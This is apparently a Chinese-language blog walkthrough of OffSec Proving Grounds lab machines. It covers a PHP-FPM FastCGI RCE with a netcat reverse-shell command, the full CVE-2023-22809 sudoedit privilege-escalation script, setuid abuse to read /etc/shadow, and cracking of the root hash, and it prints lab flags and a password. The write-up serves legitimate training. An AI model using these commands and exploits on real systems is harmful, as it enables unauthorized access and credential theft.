offsec PG lab

cvestone 发布于 2024-01-14 405 次阅读 3074 字 预计阅读时间: 14 分钟


简单

PlanetExpress

端口扫描

2023-12-20-11-41-28
可知目标web服务用了Pico CMS系统,优先看web服务
2023-12-20-11-47-03
暂时没找到可利用点,尝试寻找其他目标,即目录爆破

目录爆破

2023-12-20-14-07-27
2023-12-20-13-41-56
显然config目录是我们感兴趣的,我们可以进一步fuzz,看看config目录中能不能捕获到敏感文件

web_fuzz

我们通过-fw选项过滤状态码20开头的,只输出能够访问到的潜在文件:
2023-12-20-14-29-47
config.yml:

##
# Basic
#
site_title: PlanetExpress
base_url: ~

rewrite_url: ~
debug: true
timezone: ~
locale: ~

##
# Theme
#
theme: launch
themes_url: ~

theme_config:
    widescreen: false
twig_config:
    autoescape: html
    strict_variables: false
    charset: utf-8
    debug: ~
    cache: false
    auto_reload: true

##
# Content
#
date_format: %D %T
pages_order_by_meta: planetexpress 

pages_order_by: alpha
pages_order: asc
content_dir: ~
content_ext: .md
content_config:
    extra: true
    breaks: false
    escape: false
    auto_urls: true
assets_dir: assets/
assets_url: ~

##
# Plugins: https://github.com/picocms/Pico/tree/master/plugins
#
plugins_url: ~
DummyPlugin.enabled: false

PicoOutput:
  formats: [content, raw, json]

## 
# Self developed plugin for PlanetExpress
#
#PicoTest:
#  enabled: true

可以发现该网站配置文件中的末尾,声明了有一个自主开发的插件并且已开启,那么这个插件加载到哪里了?

github搜集

刚才的配置文件告诉我们该cms所在的github,我们可以访问,看看它的目录结构,结合上一步的疑惑,说不定会有灵感
2023-12-20-14-43-27
从这里我们可以知道开启的插件会在plugins目录生成相应的php文件,那么我们可以试试访问 url/plugins/PicoTest.php:
可以发现网页显示的内容和phpinfo探针是一样的:
2023-12-20-14-54-06
先留着备用,我们可以从该文件获取到非常多有价值信息
该端口暂时利用到这里。

搜索引擎搜公开漏洞

我们注意到,9000端口运行cslistener,比较陌生,因此也有点可疑
我们发现这篇文章描述了该端口运行的fastCGI服务,存在rce利用的可能性,并且给了exp的地址:
2023-12-20-15-11-33
https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
我们完全可以尝试,只需要在该exp的基础上改动相应的值,但这里要注意粗略观察一下脚本,看看它都做了什么,当然对于python脚本,一般在命令行中执行时用-h也会给我们用法的提示:
2023-12-20-15-26-15
它需要一个php文件的绝对路径,联想到我们刚刚找到了自定义插件对应文件PicoTest.php,我们找到了该文件对应的绝对路径:
2023-12-20-15-35-01

获得初始着陆点-getshell

2023-12-21-22-23-02
2023-12-21-22-23-31
在响应包中提示我们的system函数被禁用了,没关系,还有其他的替代函数,比如passthru()
利用成功,在html响应内容上方出现了whoami的执行结果:
2023-12-21-22-26-32
这相当于拿到了webshell,但对于我们要实现交互很不方便,自然我们会想到反向shell,能不能给对方上传nc?或者对方本来就有?同样的,用命令查看一下:
2023-12-21-22-43-03
让目标的nc连接我们,同时我们打开nc服务端监听,并利用python获取可交互shell:
2023-12-21-22-56-13

python3 fpm.py -c "<?php passthru('/usr/bin/nc 192.168.45.195 80 -e /bin/bash'); ?>" -p 9000 192.168.229.205 /var/www/html/planetexpress/plugins/PicoTest.php | head -n 10
python3 -c 'import pty; pty.spawn("/bin/bash")'

我们在astro家目录找到了local.txt:
2023-12-21-22-59-04
c555bc67a21072d11f71d65786baafd7
但是这远远不够,接下来肯定要尝试提权,实现我们的终极目的

权限提升

但是能够提权的前提是目标存在提权漏洞,但我们现在几乎利用并分析完了能够获取到的信息,我们还可以尝试上传一些自动化漏洞探测脚本,看看能不能寻找到提权漏洞,但这个时候要注意一个细节--我们拿到的权限很低,可能有些操作我们会受到阻碍,但我们可以切换到高权限目录/tmp
为了保险点,我们最好通过开启python自带的简易服务器,让目标连接我们的服务器获取脚本:
2023-12-21-23-28-18
由于结果会很长,我们试着在/tmp执行脚本时,把结果内容写入文件并移动到网站目录/var/www/html/planetexpress/plugins/下,然后访问下载
项目:https://github.com/sleventyeleven/linuxprivchecker
扫描结果中,我们只关心和提权有关系的,比如sudo:
2023-12-22-08-50-03
它提示我们可以去exploit-db检索,看看该sudo版本是否存在漏洞,我们找到了:
2023-12-22-08-51-28
提供的exp:

#!/usr/bin/env bash

# Exploit Title: sudo 1.8.0 to 1.9.12p1 - Privilege Escalation
# Exploit Author: n3m1.sys
# CVE: CVE-2023-22809
# Date: 2023/01/21
# Vendor Homepage: https://www.sudo.ws/
# Software Link: https://www.sudo.ws/dist/sudo-1.9.12p1.tar.gz
# Version: 1.8.0 to 1.9.12p1
# Tested on: Ubuntu Server 22.04 - vim 8.2.4919 - sudo 1.9.9
#
# Git repository: https://github.com/n3m1dotsys/CVE-2023-22809-sudoedit-privesc
#
# Running this exploit on a vulnerable system allows a localiattacker to gain 
# a root shell on the machine.
#
# The exploit checks if the current user has privileges to run sudoedit or 
# sudo -e on a file as root. If so it will open the sudoers file for the
# attacker to add a line to gain privileges on all the files and get a root 
# shell.

if ! sudo --version | head -1 | grep -qE '(1\.8.*|1\.9\.[0-9]1?(p[1-3])?|1\.9\.12p1)$'
then
    echo "> Currently installed sudo version is not vulnerable"
    exit 1
fi

EXPLOITABLE=$(sudo -l | grep -E "sudoedit|sudo -e" | grep -E '\(root\)|\(ALL\)|\(ALL : ALL\)' | cut -d ')' -f 2-)

if [ -z "$EXPLOITABLE" ]; then
    echo "> It doesn't seem that this user can run sudoedit as root"
    read -p "Do you want to proceed anyway? (y/N): " confirm && [[ $confirm == [yY] ]] || exit 2
else
    echo "> BINGO! User exploitable"
    echo "> Opening sudoers file, please add the following line to the file in order to do the privesc:"
    echo "$( whoami ) ALL=(ALL:ALL) ALL"
    read -n 1 -s -r -p "Press any key to continue..."
    EDITOR="vim -- /etc/sudoers" $EXPLOITABLE
    sudo su root
    exit 0
fi

setuid权限文件滥用

很遗憾它并没有起作用,我们可以联想之前积累的经验:目标中有没有可能存在一个文件,是setuid权限,通常情况下,普通用户只能以自己的权限执行程序,这限制了他们可以执行的操作,但是,如果一个程序具有"setuid"权限,并且拥有者是具有更高特权的用户(如root),那么当普通用户执行该程序时,它将获得拥有者的权限。我们可以用下面的命令对系统进行检索该类型文件:

find / -user root -perm -4000 -exec ls -ldb {} \; 2> /dev/null
# -perm -4000: 这是一个用于匹配设置了"setuid"权限的文件或目录的选项
# -exec ls -ldb {} \;: 这是一个用于执行ls -ldb命令的选项,其中{}表示找到的每个文件或目录的占位符。ls -ldb命令用于以长格式显示文件和目录的详细信息。

2023-12-22-09-37-47
看起来也不是很多,我们完全可以试着了解其中我们不熟悉的文件,它们都有可能是最终能够利用的,这看起来很烦琐,但是它很关键经常存在利用的可能性,慢就是快!
但仍然很遗憾,我们依旧没有发现什么,但别灰心,渗透的过程就是这样,它需要我们不断尝试和联想,时间允许的情况下,让我们继续尝试,最后我们锁定了可疑目标/usr/sbin/relayd,我们看看它的用法:
2023-12-22-10-05-38
显然只有-C选项与我们的提权利用有关联,它可以读取配置文件,通过前面我们知道relayd被配置成了setuid权限文件,那当我们执行该程序时,我们就临时获取了root的临时权限,我们为什么不尝试用该选项读取/etc/shadow文件(想要提权必定会想到这个文件)呢?
我们先检查一下/etc/shadow的权限:
2023-12-22-10-08-51
显然其他用户无法读取
2023-12-22-10-09-39
虽然报错了,但是当我们再次检查权限发现了变化,因为setuid起作用了,读取/etc/shadow
2023-12-22-10-18-36

root:$6$vkAzDkveIBc6PmO1$y8QyGSMqJEUxsDfdsX3nL5GsW7p/1mn5pmfz66RBn.jd7gONn0vC3xf8ga33/Fq57xMuqMquhB9MoTRpTTHVO1:19003:0:99999:7:::

接下来的思路就很简单了,有了root的hash,利用john爆破即可

hash爆破

john root_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

很快就得出结果了:
2023-12-22-10-26-14
root:neverwant2saygoodbye
切换成root用户,拿到最终的flag:
2023-12-22-10-27-51
84c28e6cdec5fd1fbb09e57ece55a27d

Muddy

端口扫描

nmap -sV -sC -T4 -O 192.168.235.161

2023-12-22-10-44-07
有web服务,同样优先考虑
浏览器输入ip,重定向到了一个url,然而访问不了,nmap结果也表明不能直接访问该url:
2023-12-22-10-51-13
通常这种情况是因为该网站仅部署在内网,互联网是无法访问的,也就是我们外网的dns服务器解析不了该url,我们可以在本地hosts文件配置该解析:
2023-12-22-10-51-49
再次访问,成功
2023-12-22-10-52-48

中等

CTF-200-01

端口扫描

nmap -p- -sC -sV -T4 192.168.166.32 > nmap.txt
Nmap scan report for 192.168.166.32
Host is up (0.24s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 b9:bc:8f:01:3f:85:5d:f9:5c:d9:fb:b6:15:a0:1e:74 (ECDSA)
|_  256 53:d9:7f:3d:22:8a:fd:57:98:fe:6b:1a:4c:ac:79:67 (ED25519)
80/tcp   open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
8338/tcp open  unknown
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Server: Maltrail/0.52
|     Date: Mon, 01 Jan 2024 00:36:29 GMT
|     Connection: close
|     Content-Type: text/html
|     Last-Modified: Sat, 31 Dec 2022 22:58:57 GMT
|     Content-Security-Policy: default-src 'self'; style-src 'self' 'unsafe-inline'; img-src * blob:; script-src 'self' 'unsafe-eval' https://stat.ripe.net; frame-src *; object-src 'none'; block-all-mixed-content;
|     Cache-Control: no-cache
|     Content-Length: 7091
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta http-equiv="X-UA-Compatible" content="IE=edge">
|     <meta http-equiv="Content-Type" content="text/html;charset=utf8">
|     <meta name="viewport" content="width=device-width, user-scalable=no">
|     <meta name="robots" content="noindex, nofollow">
|     <title>Maltrail</title>
|     <link rel="stylesheet" type="text/css" href="css/thirdparty.min.css">
|     <link rel="stylesheet" type="text/css" hre
|   HTTPOptions: 
|     HTTP/1.0 501 Unsupported method ('OPTIONS')
|     Server: Maltrail/0.52
|     Date: Mon, 01 Jan 2024 00:36:29 GMT
|     Connection: close
|     Content-Type: text/html;charset=utf-8
|     Content-Length: 500
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
|     "http://www.w3.org/TR/html4/strict.dtd">
|     <html>
|     <head>
|     <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 501</p>
|     <p>Message: Unsupported method ('OPTIONS').</p>
|     <p>Error code explanation: HTTPStatus.NOT_IMPLEMENTED - Server does not support this operation.</p>
|     </body>
|_    </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
......
SF:support\x20this\x20operation\.</p>\n\x20\x20\x20\x20</body>\n</html>\n"
SF:);
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

显然80端口优先级别最高,先访问web:
只是一个默认的apache页面,尝试目录爆破也没有什么有价值的信息:
2024-01-02-01-35-16
暂时放弃80端口的挖掘

搜索引擎搜公开漏洞

我们注意到nmap在扫描端口8338的过程中,列出了一大堆内容,它也是一个web服务,可以试着访问下:
2024-01-02-01-37-52
看起来像是蓝队的一个安全设备管理后台,并且还显示了用到的cms-Maltrail v0.52,谷歌搜索看看:
2024-01-06-11-39-04
我们的版本刚好符合漏洞利用条件,并且这里提到了metasploit,我们可以尝试看看

获得初始着陆点

2024-01-04-21-14-54
设置选项如下:
2024-01-04-21-21-33
这里的lhost用的是openvpn分配的ip,lport最好用80,不知道为什么用其他监听端口没有成功
成功反弹shell:
2024-01-04-21-25-51
我们还在当前用户snort的目录下发现了一个配置备份,看起来很可疑,下载下来看看
2024-01-04-21-33-51
备份了/etc,虽然不知道这么做的目的是什么,但是可能可以利用
2024-01-04-21-38-02

权限提升

碰碰运气,看看/etc里面有没有泄露的可利用的ssh连接私钥:
2024-01-04-23-02-24
一般是采用rsa加密
但可惜即使有了私钥仍然需要密码,并且我们不能确定它就是root用户的,只是尝试:
2024-01-04-22-59-00
到这里暂时没有思路,尝试利用提权相关的探测脚本,看看有没有新的发现:
先试试针对linux流行脚本linepeas:
但是要注意在meterpreter模式下执行该脚本比较困难,要对会话进行降级:
2024-01-04-23-27-20
然后下载该结果文件,在本地查看:
2024-01-04-23-29-26

(待继续,未来准备oscp之前再打该实验室)

  • alipay_img
  • wechat_img
此作者没有提供个人介绍
最后更新于 2024-01-14